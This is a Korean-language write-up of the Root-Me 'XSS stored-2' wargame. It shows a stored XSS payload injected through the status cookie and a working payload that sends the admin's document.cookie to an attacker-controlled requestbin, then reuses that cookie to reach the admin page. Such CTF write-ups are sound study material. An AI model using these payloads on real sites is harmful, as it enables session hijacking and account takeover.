Web-client) XSS stored-2
Wargame/Root-Me

Web-client) XSS stored-2

//쓰다가 이 복잡한 라업을 한번 날림...임시저장을 생활화합시다...흑

 

: Steal the administrator session’s cookie and go in the admin section.

: 관리자 세션의 쿠키를 탈취해서 관리자 페이지로 접속해라.

XSS stored와 관련된 문제이다. 일단 단순하게 공격 지점으로 보이는 저 게시판에 글을 남겨보았다.

여러가지 script를 조합해서 공격해보았지만 얼럿이 되지 않았다. 저 부분이 아닌가? 싶어서 다시 페이지를 뜯어보다가 저 status가 invite상태로 되어있는 것을 확인했다.  혹시 여기를 공격할수 있나 싶어서 개발자 도구를 열어보았다.

 

 

: 일단 invite상태로 소스코드가 작성되어있는 것을 확인할 수 있었다. 혹시 저기를 admin으로 바꾸면 뭔가 될까 싶어서 admin으로 바꿨지만 별 일은 없었다. 그렇지만 우선 status가 바뀌는 것을 확인한 것으로 만족했다. 그렇다면 이곳에 새롭게 xss를 해볼수 있을 것 같다는 생각이 들었다.

 

: 페이로드를 여러개 조합해보았다. 일단 ">로 꺽쇠를 닫아주고, 뒤에 스크립트 를 몇번 넣는 식으로 얼럿을 시도했다. 

성공한 공격은 "><script>alert(1)</script>; 이다. 보통 alert뒤에 delimiter를 넣는게 대다수인데, 그런식으로 하면 ; 까지 해서 공격이 끝나버린다. 버프슈트를 이용하여 cookie를 바꿔주고, alert이 되는 것 을 확인할 수 있었다.

얼럿 성공.

 

그렇다면 이를 이용해서 관리자 쿠키를 얻을 수 있을 듯 싶다.  여기에 xss를 시도해보기로 했다. 저번에 xss reflect 문제에서도 사용했던 request bin을 이용해 관리자 쿠키를 탈취해보기로 했다. 버프슈트를 이용해 cookie에 다시 페이로드를 집어넣기로 했다. 

성공한 payload : "><script>window.location="본인의 requestbin주소".concat(document.cookie)</script>;

 

: 일단 페이지 정보가 날아오고, 잠시만 기다리면 requestbin으로 admin cookie가 날아온다.

 

 

:여기서 끝은 아니고, 이 관리자 쿠키와 status를 이용해서 한번 더 버프슈트로 쿠키를 변조해줘야 한다.

일단 forum v0.002 바로 아래에있는 관리자 페이지로 이동해줘야 한다. 이걸 까먹고 계속 원래 페이지에서 했다가 또 삼십분정도 삽질함...

 

 

 

그 후에 requestbin에 날아온 것과 동일한 조합으로 status=admin; ADMIN_COOKIE=blahblah... 로 쿠키를 바꿔주었다.

그렇게 쿠키를 변조해서 보내주고, 다시 페이지를 확인하면 비밀번호를 찾을수 있다. 이것으로 validate해주자.

 

 

=> 과정이 굉장히 많이 필요한 문제이다!

 1) 공격지점을 찾고, 2) alert할수 있는 조합을 찾은 다음에. 3) 이를 이용해서 새로운 공격을 조합해서 관리자 쿠키를 이용해서, 4) 이 쿠키를 이용해 한번 더 쿠키를 변조해줘야 비밀번호를 얻을 수 있다.

 차근차근 생각하면서 풀어야 했던 것 같다. 역시 50점이라 상당히 어렵다..! 하지만 worth it :)